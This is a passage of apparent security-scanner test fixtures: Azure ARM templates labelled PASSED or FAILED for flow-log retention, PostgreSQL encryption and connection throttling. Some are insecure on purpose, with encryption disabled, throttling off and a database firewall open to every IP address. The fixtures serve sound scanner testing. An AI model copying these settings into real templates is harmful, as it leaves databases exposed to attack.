\"2019-11-01\",\n      \"properties\": {\n        \"description\": \"nsgRuleDescription\",\n        \"protocol\": \"tcp\",\n        \"sourcePortRange\": \"*\",\n        \"destinationPortRange\": \"443\",\n        \"sourceAddressPrefix\": \"[parameters('testRunnerIpRange')]\",\n        \"destinationAddressPrefix\": \"[parameters('webServerSubnetAddressPrefix')]\",\n        \"access\": \"Allow\",\n        \"priority\": 100,\n        \"direction\": \"Inbound\"\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_NetworkWatcherFlowLogPeriod/networkWatcherFlowLogPeriod-FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"apiProfile\": \"2019-09-01\",\n  \"resources\": [\n    {\n      \"name\": \"NetworkWatcher_centraluseuap/Microsoft.NetworkDalanDemoPerimeterNSG\",\n      \"type\": \"Microsoft.Network/networkWatchers/FlowLogs/\",\n      \"location\": \"centraluseuap\",\n      \"apiVersion\": \"2019-09-01\",\n      \"properties\": {\n        \"targetResourceId\": \"/subscriptions/56abfbd6-ec72-4ce9-831f-bc2b6f2c5505/resourceGroups/DalanDemo/providers/Microsoft.Network/networkSecurityGroups/PerimeterNSG\",\n        \"storageId\": \"/subscriptions/56abfbd6-ec72-4ce9-831f-bc2b6f2c5505/resourceGroups/MyCanaryFlowLog/providers/Microsoft.Storage/storageAccounts/storagev2ira\",\n        \"enabled\": true,\n        \"flowAnalyticsConfiguration\": {},\n        \"retentionPolicy\": {},\n        \"format\": {}\n      }\n\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_NetworkWatcherFlowLogPeriod/networkWatcherFlowLogPeriod-FAILED2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"apiProfile\": \"2019-09-01\",\n  \"resources\": [\n    {\n      \"name\": \"NetworkWatcher_centraluseuap/Microsoft.NetworkDalanDemoPerimeterNSG\",\n      \"type\": \"Microsoft.Network/networkWatchers/FlowLogs/\",\n      \"location\": \"centraluseuap\",\n      \"apiVersion\": \"2019-09-01\",\n      \"properties\": {\n        \"targetResourceId\": \"/subscriptions/56abfbd6-ec72-4ce9-831f-bc2b6f2c5505/resourceGroups/DalanDemo/providers/Microsoft.Network/networkSecurityGroups/PerimeterNSG\",\n        \"storageId\": \"/subscriptions/56abfbd6-ec72-4ce9-831f-bc2b6f2c5505/resourceGroups/MyCanaryFlowLog/providers/Microsoft.Storage/storageAccounts/storagev2ira\",\n        \"enabled\": true,\n        \"flowAnalyticsConfiguration\": {\n          \"networkWatcherFlowAnalyticsConfiguration\": {\n            \"enabled\": true,\n            \"workspaceResourceId\": \"/subscriptions/56abfbd6-ec72-4ce9-831f-bc2b6f2c5505/resourceGroups/defaultresourcegroup-wcus/providers/Microsoft.OperationalInsights/workspaces/1c4f42e5-3a02-4146-ac9b-3051d8501db0\",\n            \"trafficAnalyticsInterval\": 10\n          }\n        },\n        \"retentionPolicy\": {\n          \"days\": 7,\n          \"enabled\": true\n        },\n        \"format\": {\n          \"type\": \"JSON\",\n          \"version\": 2\n        }\n      }\n\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_NetworkWatcherFlowLogPeriod/networkWatcherFlowLogPeriod-FAILED3.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"apiProfile\": \"2019-09-01\",\n  \"resources\": [\n    {\n      \"name\": \"NetworkWatcher_centraluseuap/Microsoft.NetworkDalanDemoPerimeterNSG\",\n      \"type\": \"Microsoft.Network/networkWatchers/FlowLogs/\",\n      \"location\": \"centraluseuap\",\n      \"apiVersion\": \"2019-09-01\",\n      \"properties\": {\n        \"targetResourceId\": \"/subscriptions/56abfbd6-ec72-4ce9-831f-bc2b6f2c5505/resourceGroups/DalanDemo/providers/Microsoft.Network/networkSecurityGroups/PerimeterNSG\",\n        \"storageId\": \"/subscriptions/56abfbd6-ec72-4ce9-831f-bc2b6f2c5505/resourceGroups/MyCanaryFlowLog/providers/Microsoft.Storage/storageAccounts/storagev2ira\",\n        \"enabled\": true,\n        \"flowAnalyticsConfiguration\": {\n          \"networkWatcherFlowAnalyticsConfiguration\": {\n            \"enabled\": true,\n            \"workspaceResourceId\": \"/subscriptions/56abfbd6-ec72-4ce9-831f-bc2b6f2c5505/resourceGroups/defaultresourcegroup-wcus/providers/Microsoft.OperationalInsights/workspaces/1c4f42e5-3a02-4146-ac9b-3051d8501db0\",\n            \"trafficAnalyticsInterval\": 10\n          }\n        },\n        \"retentionPolicy\": {\n          \"days\": 700,\n          \"enabled\": false\n        },\n        \"format\": {\n          \"type\": \"JSON\",\n          \"version\": 2\n        }\n      }\n\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_NetworkWatcherFlowLogPeriod/networkWatcherFlowLogPeriod-FAILED4.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"apiProfile\": \"2019-09-01\",\n  \"resources\": [\n    {\n      \"name\": \"NetworkWatcher_centraluseuap/Microsoft.NetworkDalanDemoPerimeterNSG\",\n      \"type\": \"Microsoft.Network/networkWatchers/FlowLogs/\",\n      \"location\": \"centraluseuap\",\n      \"apiVersion\": \"2019-09-01\",\n      \"properties\": {\n        \"targetResourceId\": \"/subscriptions/56abfbd6-ec72-4ce9-831f-bc2b6f2c5505/resourceGroups/DalanDemo/providers/Microsoft.Network/networkSecurityGroups/PerimeterNSG\",\n        \"storageId\": \"/subscriptions/56abfbd6-ec72-4ce9-831f-bc2b6f2c5505/resourceGroups/MyCanaryFlowLog/providers/Microsoft.Storage/storageAccounts/storagev2ira\",\n        \"enabled\": true,\n        \"flowAnalyticsConfiguration\": {\n          \"networkWatcherFlowAnalyticsConfiguration\": {\n            \"enabled\": true,\n            \"workspaceResourceId\": \"/subscriptions/56abfbd6-ec72-4ce9-831f-bc2b6f2c5505/resourceGroups/defaultresourcegroup-wcus/providers/Microsoft.OperationalInsights/workspaces/1c4f42e5-3a02-4146-ac9b-3051d8501db0\",\n            \"trafficAnalyticsInterval\": 10\n          }\n        },\n        \"retentionPolicy\": {\n          \"days\": null,\n          \"enabled\": true\n        },\n        \"format\": {\n          \"type\": \"JSON\",\n          \"version\": 2\n        }\n      }\n\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_NetworkWatcherFlowLogPeriod/networkWatcherFlowLogPeriod-PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"apiProfile\": \"2019-09-01\",\n  \"resources\": [\n    {\n      \"name\": \"NetworkWatcher_centraluseuap/Microsoft.NetworkDalanDemoPerimeterNSG\",\n      \"type\": \"Microsoft.Network/networkWatchers/FlowLogs/\",\n      \"location\": \"centraluseuap\",\n      \"apiVersion\": \"2019-09-01\",\n      \"properties\": {\n        \"targetResourceId\": \"/subscriptions/56abfbd6-ec72-4ce9-831f-bc2b6f2c5505/resourceGroups/DalanDemo/providers/Microsoft.Network/networkSecurityGroups/PerimeterNSG\",\n        \"storageId\": \"/subscriptions/56abfbd6-ec72-4ce9-831f-bc2b6f2c5505/resourceGroups/MyCanaryFlowLog/providers/Microsoft.Storage/storageAccounts/storagev2ira\",\n        \"enabled\": true,\n        \"flowAnalyticsConfiguration\": {\n          \"networkWatcherFlowAnalyticsConfiguration\": {\n            \"enabled\": true,\n            \"workspaceResourceId\": \"/subscriptions/56abfbd6-ec72-4ce9-831f-bc2b6f2c5505/resourceGroups/defaultresourcegroup-wcus/providers/Microsoft.OperationalInsights/workspaces/1c4f42e5-3a02-4146-ac9b-3051d8501db0\",\n            \"trafficAnalyticsInterval\": 10\n          }\n        },\n        \"retentionPolicy\": {\n          \"days\": 90,\n          \"enabled\": true\n        },\n        \"format\": {\n          \"type\": \"JSON\",\n          \"version\": 2\n        }\n      }\n\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_PostgreSQLEncryptionEnabled/fail.json",
    "content": "{\n    \"$schema\": \"http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"administratorLogin\": {\n            \"type\": \"string\"\n        },\n        \"administratorLoginPassword\": {\n            \"type\": \"securestring\"\n        },\n        \"location\": {\n            \"type\": \"string\"\n        },\n        \"serverName\": {\n            \"type\": \"string\"\n        },\n        \"skuCapacity\": {\n            \"type\": \"int\"\n        },\n        \"skuFamily\": {\n            \"type\": \"string\"\n        },\n        \"skuName\": {\n            \"type\": \"string\"\n        },\n        \"skuSizeMB\": {\n            \"type\": \"int\"\n        },\n        \"skuTier\": {\n            \"type\": \"string\"\n        },\n        \"version\": {\n            \"type\": \"string\"\n        },\n        \"backupRetentionDays\": {\n            \"type\": \"int\"\n        },\n        \"geoRedundantBackup\": {\n            \"type\": \"string\"\n        },\n        \"previewFeature\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"\"\n        },\n        \"tags\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"storageAutoGrow\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Disabled\"\n        },\n        \"infrastructureEncryption\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Disabled\"\n        }\n    },\n    \"resources\": [\n        {\n            \"apiVersion\": \"2017-12-01\",\n            \"kind\": \"\",\n            \"location\": \"[parameters('location')]\",\n            \"name\": \"fail\",\n            \"properties\": {\n                \"version\": \"[parameters('version')]\",\n                \"administratorLogin\": \"[parameters('administratorLogin')]\",\n                \"administratorLoginPassword\": \"[parameters('administratorLoginPassword')]\",\n                \"storageProfile\": {\n                    \"storageMB\": \"[parameters('skuSizeMB')]\",\n                    \"backupRetentionDays\": \"[parameters('backupRetentionDays')]\",\n                    \"geoRedundantBackup\": \"[parameters('geoRedundantBackup')]\",\n                    \"storageAutoGrow\": \"[parameters('storageAutoGrow')]\"\n                },\n                \"previewFeature\": \"[parameters('previewFeature')]\",\n                \"infrastructureEncryption\": \"[parameters('infrastructureEncryption')]\"\n            },\n            \"sku\": {\n                \"name\": \"[parameters('skuName')]\",\n                \"tier\": \"[parameters('skuTier')]\",\n                \"capacity\": \"[parameters('skuCapacity')]\",\n                \"size\": \"[parameters('skuSizeMB')]\",\n                \"family\": \"[parameters('skuFamily')]\"\n            },\n            \"tags\": \"[parameters('tags')]\",\n            \"type\": \"Microsoft.DBforPostgreSQL/servers\"\n        }\n    ],\n    \"variables\": {}\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_PostgreSQLEncryptionEnabled/pass.json",
    "content": "{\n    \"$schema\": \"http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"administratorLogin\": {\n            \"type\": \"string\"\n        },\n        \"administratorLoginPassword\": {\n            \"type\": \"securestring\"\n        },\n        \"location\": {\n            \"type\": \"string\"\n        },\n        \"serverName\": {\n            \"type\": \"string\"\n        },\n        \"skuCapacity\": {\n            \"type\": \"int\"\n        },\n        \"skuFamily\": {\n            \"type\": \"string\"\n        },\n        \"skuName\": {\n            \"type\": \"string\"\n        },\n        \"skuSizeMB\": {\n            \"type\": \"int\"\n        },\n        \"skuTier\": {\n            \"type\": \"string\"\n        },\n        \"version\": {\n            \"type\": \"string\"\n        },\n        \"backupRetentionDays\": {\n            \"type\": \"int\"\n        },\n        \"geoRedundantBackup\": {\n            \"type\": \"string\"\n        },\n        \"previewFeature\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"\"\n        },\n        \"tags\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"storageAutoGrow\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Disabled\"\n        },\n        \"infrastructureEncryption\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Enabled\"\n        }\n    },\n    \"resources\": [\n        {\n            \"apiVersion\": \"2017-12-01\",\n            \"kind\": \"\",\n            \"location\": \"[parameters('location')]\",\n            \"name\": \"pass\",\n            \"properties\": {\n                \"version\": \"[parameters('version')]\",\n                \"administratorLogin\": \"[parameters('administratorLogin')]\",\n                \"administratorLoginPassword\": \"[parameters('administratorLoginPassword')]\",\n                \"storageProfile\": {\n                    \"storageMB\": \"[parameters('skuSizeMB')]\",\n                    \"backupRetentionDays\": \"[parameters('backupRetentionDays')]\",\n                    \"geoRedundantBackup\": \"[parameters('geoRedundantBackup')]\",\n                    \"storageAutoGrow\": \"[parameters('storageAutoGrow')]\"\n                },\n                \"previewFeature\": \"[parameters('previewFeature')]\",\n                \"infrastructureEncryption\": \"[parameters('infrastructureEncryption')]\"\n            },\n            \"sku\": {\n                \"name\": \"[parameters('skuName')]\",\n                \"tier\": \"[parameters('skuTier')]\",\n                \"capacity\": \"[parameters('skuCapacity')]\",\n                \"size\": \"[parameters('skuSizeMB')]\",\n                \"family\": \"[parameters('skuFamily')]\"\n            },\n            \"tags\": \"[parameters('tags')]\",\n            \"type\": \"Microsoft.DBforPostgreSQL/servers\"\n        }\n    ],\n    \"variables\": {}\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_PostgreSQLServerConnectionThrottlingEnabled/postgreSQL-ConnectionThrottlingEnabled-FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"siteName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Name of azure web app\"\n      }\n    },\n    \"administratorLogin\": {\n      \"type\": \"string\",\n      \"minLength\": 1,\n      \"metadata\": {\n        \"description\": \"Database administrator login name\"\n      }\n    },\n    \"administratorLoginPassword\": {\n      \"type\": \"securestring\",\n      \"minLength\": 8,\n      \"maxLength\": 128,\n      \"metadata\": {\n        \"description\": \"Database administrator password\"\n      }\n    },\n    \"databaseSkuCapacity\": {\n      \"type\": \"int\",\n      \"defaultValue\": 2,\n      \"allowedValues\": [\n        2,\n        4,\n        8,\n        16,\n        32\n      ],\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL compute capacity in vCores (2,4,8,16,32)\"\n      }\n    },\n    \"databaseSkuName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"GP_Gen5_2\",\n      \"allowedValues\": [\n        \"GP_Gen5_2\",\n        \"GP_Gen5_4\",\n        \"GP_Gen5_8\",\n        \"GP_Gen5_16\",\n        \"GP_Gen5_32\",\n        \"MO_Gen5_2\",\n        \"MO_Gen5_4\",\n        \"MO_Gen5_8\",\n        \"MO_Gen5_16\",\n        \"MO_Gen5_32\",\n        \"B_Gen5_1\",\n        \"B_Gen5_2\"\n      ],\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL sku name \"\n      }\n    },\n    \"databaseSkuSizeMB\": {\n      \"type\": \"int\",\n      \"allowedValues\": [\n        102400,\n        51200\n      ],\n      \"defaultValue\": 51200,\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL Sku Size \"\n      }\n    },\n    \"databaseSkuTier\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"GeneralPurpose\",\n      \"allowedValues\": [\n        \"GeneralPurpose\",\n        \"MemoryOptimized\",\n        \"Basic\"\n      ],\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL pricing tier\"\n      }\n    },\n    \"postgresqlVersion\": {\n      \"type\": \"string\",\n      \"allowedValues\": [\n        \"9.5\",\n        \"9.6\",\n        \"10.10\",\n        \"11.5\"\n      ],\n      \"defaultValue\": \"9.6\",\n      \"metadata\": {\n        \"description\": \"PostgreSQL version\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    },\n    \"databaseskuFamily\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Gen5\",\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL sku family\"\n      }\n    }\n  },\n  \"variables\": {\n    \"databaseName\": \"[concat(parameters('siteName'), 'database')]\",\n    \"serverName\": \"[concat(parameters('siteName'), 'pgserver')]\",\n    \"hostingPlanName\": \"[concat(parameters('siteName'), 'serviceplan')]\"\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"[variables('hostingPlanName')]\",\n      \"type\": \"Microsoft.Web/serverfarms\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"name\": \"[variables('hostingPlanName')]\",\n        \"workerSize\": \"1\",\n        \"numberOfWorkers\": 0\n      },\n      \"sku\": {\n        \"Tier\": \"Standard\",\n        \"Name\": \"S1\"\n      }\n    },\n    {\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"[parameters('siteName')]\",\n      \"type\": \"Microsoft.Web/sites\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Web/serverfarms/', variables('hostingPlanName'))]\"\n      ],\n      \"properties\": {\n        \"name\": \"[parameters('siteName')]\",\n        \"serverFarmId\": \"[variables('hostingPlanName')]\"\n      },\n      \"resources\": [\n        {\n          \"apiVersion\": \"2018-11-01\",\n          \"name\": \"connectionstrings\",\n          \"type\": \"config\",\n          \"dependsOn\": [\n            \"[concat('Microsoft.Web/sites/', parameters('siteName'))]\"\n          ],\n          \"properties\": {\n            \"defaultConnection\": {\n              \"value\": \"[concat('Database=', variables('databaseName'), ';Server=', reference(resourceId('Microsoft.DBforPostgreSQL/servers',variables('serverName'))).fullyQualifiedDomainName, ';User Id=', parameters('administratorLogin'),'@', variables('serverName'),';Password=', parameters('administratorLoginPassword'))]\",\n              \"type\": \"PostgreSQL\"\n            }\n          }\n        }\n      ]\n    },\n    {\n      \"apiVersion\": \"2017-12-01\",\n      \"type\": \"Microsoft.DBforPostgreSQL/servers\",\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"[variables('serverName')]\",\n      \"sku\": {\n        \"name\": \"[parameters('databaseSkuName')]\",\n        \"tier\": \"[parameters('databaseSkuTier')]\",\n        \"capacity\": \"[parameters('databaseSkuCapacity')]\",\n        \"size\": \"[parameters('databaseSkuSizeMB')]\",\n        \"family\": \"[parameters('databaseskuFamily')]\"\n      },\n      \"properties\": {\n        \"version\": \"[parameters('postgresqlVersion')]\",\n        \"administratorLogin\": \"[parameters('administratorLogin')]\",\n        \"administratorLoginPassword\": \"[parameters('administratorLoginPassword')]\",\n        \"storageMB\": \"[parameters('databaseSkuSizeMB')]\"\n      },\n      \"resources\": [\n        {\n          \"type\": \"firewallrules\",\n          \"apiVersion\": \"2017-12-01\",\n          \"dependsOn\": [\n            \"[concat('Microsoft.DBforPostgreSQL/servers/', variables('serverName'))]\"\n          ],\n          \"location\": \"[parameters('location')]\",\n          \"name\": \"[concat(variables('serverName'),'firewall')]\",\n          \"properties\": {\n            \"startIpAddress\": \"0.0.0.0\",\n            \"endIpAddress\": \"255.255.255.255\"\n          }\n        },\n        {\n          \"name\": \"[variables('databaseName')]\",\n          \"type\": \"databases\",\n          \"apiVersion\": \"2017-12-01\",\n          \"properties\": {\n            \"charset\": \"utf8\",\n            \"collation\": \"English_United States.1252\"\n          },\n          \"dependsOn\": [\n            \"[concat('Microsoft.DBforPostgreSQL/servers/', variables('serverName'))]\"\n          ]\n        },\n        {\n          \"name\": \"connection_throttling\",\n          \"type\": \"Microsoft.DBforPostgreSQL/servers/configurations\",\n          \"apiVersion\": \"2017-12-01\",\n          \"properties\": {\n            \"value\": \"OFF\"\n          }\n        }\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_PostgreSQLServerConnectionThrottlingEnabled/postgreSQL-ConnectionThrottlingEnabled-PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"siteName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Name of azure web app\"\n      }\n    },\n    \"administratorLogin\": {\n      \"type\": \"string\",\n      \"minLength\": 1,\n      \"metadata\": {\n        \"description\": \"Database administrator login name\"\n      }\n    },\n    \"administratorLoginPassword\": {\n      \"type\": \"securestring\",\n      \"minLength\": 8,\n      \"maxLength\": 128,\n      \"metadata\": {\n        \"description\": \"Database administrator password\"\n      }\n    },\n    \"databaseSkuCapacity\": {\n      \"type\": \"int\",\n      \"defaultValue\": 2,\n      \"allowedValues\": [\n        2,\n        4,\n        8,\n        16,\n        32\n      ],\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL compute capacity in vCores (2,4,8,16,32)\"\n      }\n    },\n    \"databaseSkuName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"GP_Gen5_2\",\n      \"allowedValues\": [\n        \"GP_Gen5_2\",\n        \"GP_Gen5_4\",\n        \"GP_Gen5_8\",\n        \"GP_Gen5_16\",\n        \"GP_Gen5_32\",\n        \"MO_Gen5_2\",\n        \"MO_Gen5_4\",\n        \"MO_Gen5_8\",\n        \"MO_Gen5_16\",\n        \"MO_Gen5_32\",\n        \"B_Gen5_1\",\n        \"B_Gen5_2\"\n      ],\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL sku name \"\n      }\n    },\n    \"databaseSkuSizeMB\": {\n      \"type\": \"int\",\n      \"allowedValues\": [\n        102400,\n        51200\n      ],\n      \"defaultValue\": 51200,\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL Sku Size \"\n      }\n    },\n    \"databaseSkuTier\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"GeneralPurpose\",\n      \"allowedValues\": [\n        \"GeneralPurpose\",\n        \"MemoryOptimized\",\n        \"Basic\"\n      ],\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL pricing tier\"\n      }\n    },\n    \"postgresqlVersion\": {\n      \"type\": \"string\",\n      \"allowedValues\": [\n        \"9.5\",\n        \"9.6\",\n        \"10.10\",\n        \"11.5\"\n      ],\n      \"defaultValue\": \"9.6\",\n      \"metadata\": {\n        \"description\": \"PostgreSQL version\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    },\n    \"databaseskuFamily\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Gen5\",\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL sku family\"\n      }\n    }\n  },\n  \"variables\": {\n    \"databaseName\": \"[concat(parameters('siteName'), 'database')]\",\n    \"serverName\": \"[concat(parameters('siteName'), 'pgserver')]\",\n    \"hostingPlanName\": \"[concat(parameters('siteName'), 'serviceplan')]\"\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"[variables('hostingPlanName')]\",\n      \"type\": \"Microsoft.Web/serverfarms\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"name\": \"[variables('hostingPlanName')]\",\n        \"workerSize\": \"1\",\n        \"numberOfWorkers\": 0\n      },\n      \"sku\": {\n        \"Tier\": \"Standard\",\n        \"Name\": \"S1\"\n      }\n    },\n    {\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"[parameters('siteName')]\",\n      \"type\": \"Microsoft.Web/sites\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Web/serverfarms/', variables('hostingPlanName'))]\"\n      ],\n      \"properties\": {\n        \"name\": \"[parameters('siteName')]\",\n        \"serverFarmId\": \"[variables('hostingPlanName')]\"\n      },\n      \"resources\": [\n        {\n          \"apiVersion\": \"2018-11-01\",\n          \"name\": \"connectionstrings\",\n          \"type\": \"config\",\n          \"dependsOn\": [\n            \"[concat('Microsoft.Web/sites/', parameters('siteName'))]\"\n          ],\n          \"properties\": {\n            \"defaultConnection\": {\n              \"value\": \"[concat('Database=', variables('databaseName'), ';Server=', reference(resourceId('Microsoft.DBforPostgreSQL/servers',variables('serverName'))).fullyQualifiedDomainName, ';User Id=', parameters('administratorLogin'),'@', variables('serverName'),';Password=', parameters('administratorLoginPassword'))]\",\n              \"type\": \"PostgreSQL\"\n            }\n          }\n        }\n      ]\n    },\n    {\n      \"apiVersion\": \"2017-12-01\",\n      \"type\": \"Microsoft.DBforPostgreSQL/servers\",\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"[variables('serverName')]\",\n      \"sku\": {\n        \"name\": \"[parameters('databaseSkuName')]\",\n        \"tier\": \"[parameters('databaseSkuTier')]\",\n        \"capacity\": \"[parameters('databaseSkuCapacity')]\",\n        \"size\": \"[parameters('databaseSkuSizeMB')]\",\n        \"family\": \"[parameters('databaseskuFamily')]\"\n      },\n      \"properties\": {\n        \"version\": \"[parameters('postgresqlVersion')]\",\n        \"administratorLogin\": \"[parameters('administratorLogin')]\",\n        \"administratorLoginPassword\": \"[parameters('administratorLoginPassword')]\",\n        \"storageMB\": \"[parameters('databaseSkuSizeMB')]\"\n      },\n      \"resources\": [\n        {\n          \"type\": \"firewallrules\",\n          \"apiVersion\": \"2017-12-01\",\n          \"dependsOn\": [\n            \"[concat('Microsoft.DBforPostgreSQL/servers/', variables('serverName'))]\"\n          ],\n          \"location\": \"[parameters('location')]\",\n          \"name\": \"[concat(variables('serverName'),'firewall')]\",\n          \"properties\": {\n            \"startIpAddress\": \"0.0.0.0\",\n            \"endIpAddress\": \"255.255.255.255\"\n          }\n        },\n        {\n          \"name\": \"[variables('databaseName')]\",\n          \"type\": \"databases\",\n          \"apiVersion\": \"2017-12-01\",\n          \"properties\": {\n            \"charset\": \"utf8\",\n            \"collation\": \"English_United States.1252\"\n          },\n          \"dependsOn\": [\n            \"[concat('Microsoft.DBforPostgreSQL/servers/', variables('serverName'))]\"\n          ]\n        },\n        {\n          \"name\": \"log_checkpoints\",\n          \"type\": \"Microsoft.DBforPostgreSQL/servers/configurations\",\n          \"apiVersion\": \"2017-12-01\",\n          \"properties\": {\n            \"value\": \"ON\"\n          }\n        },\n        {\n          \"name\": \"connection_throttling\",\n          \"type\": \"Microsoft.DBforPostgreSQL/servers/configurations\",\n          \"apiVersion\": \"2017-12-01\",\n          \"properties\": {\n            \"value\": \"ON\"\n          }\n        }\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_PostgreSQLServerConnectionThrottlingEnabled/postgreSQL-ConnectionThrottlingEnabled-PASSED2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"siteName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Name of azure web app\"\n      }\n    },\n    \"administratorLogin\": {\n      \"type\": \"string\",\n      \"minLength\": 1,\n      \"metadata\": {\n        \"description\": \"Database administrator login name\"\n      }\n    },\n    \"administratorLoginPassword\": {\n      \"type\": \"securestring\",\n      \"minLength\": 8,\n      \"maxLength\": 128,\n      \"metadata\": {\n        \"description\": \"Database administrator password\"\n      }\n    },\n    \"databaseSkuCapacity\": {\n      \"type\": \"int\",\n      \"defaultValue\": 2,\n      \"allowedValues\": [\n        2,\n        4,\n        8,\n        16,\n        32\n      ],\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL compute capacity in vCores (2,4,8,16,32)\"\n      }\n    },\n    \"databaseSkuName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"GP_Gen5_2\",\n      \"allowedValues\": [\n        \"GP_Gen5_2\",\n        \"GP_Gen5_4\",\n        \"GP_Gen5_8\",\n        \"GP_Gen5_16\",\n        \"GP_Gen5_32\",\n        \"MO_Gen5_2\",\n        \"MO_Gen5_4\",\n        \"MO_Gen5_8\",\n        \"MO_Gen5_16\",\n        \"MO_Gen5_32\",\n        \"B_Gen5_1\",\n        \"B_Gen5_2\"\n      ],\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL sku name \"\n      }\n    },\n    \"databaseSkuSizeMB\": {\n      \"type\": \"int\",\n      \"allowedValues\": [\n        102400,\n        51200\n      ],\n      \"defaultValue\": 51200,\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL Sku Size \"\n      }\n    },\n    \"databaseSkuTier\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"GeneralPurpose\",\n      \"allowedValues\": [\n        \"GeneralPurpose\",\n        \"MemoryOptimized\",\n        \"Basic\"\n      ],\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL pricing tier\"\n      }\n    },\n    \"postgresqlVersion\": {\n      \"type\": \"string\",\n      \"allowedValues\": [\n        \"9.5\",\n        \"9.6\",\n        \"10.10\",\n        \"11.5\"\n      ],\n      \"defaultValue\": \"9.6\",\n      \"metadata\": {\n        \"description\": \"PostgreSQL version\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    },\n    \"databaseskuFamily\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Gen5\",\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL sku family\"\n      }\n    }\n  },\n  \"variables\": {\n    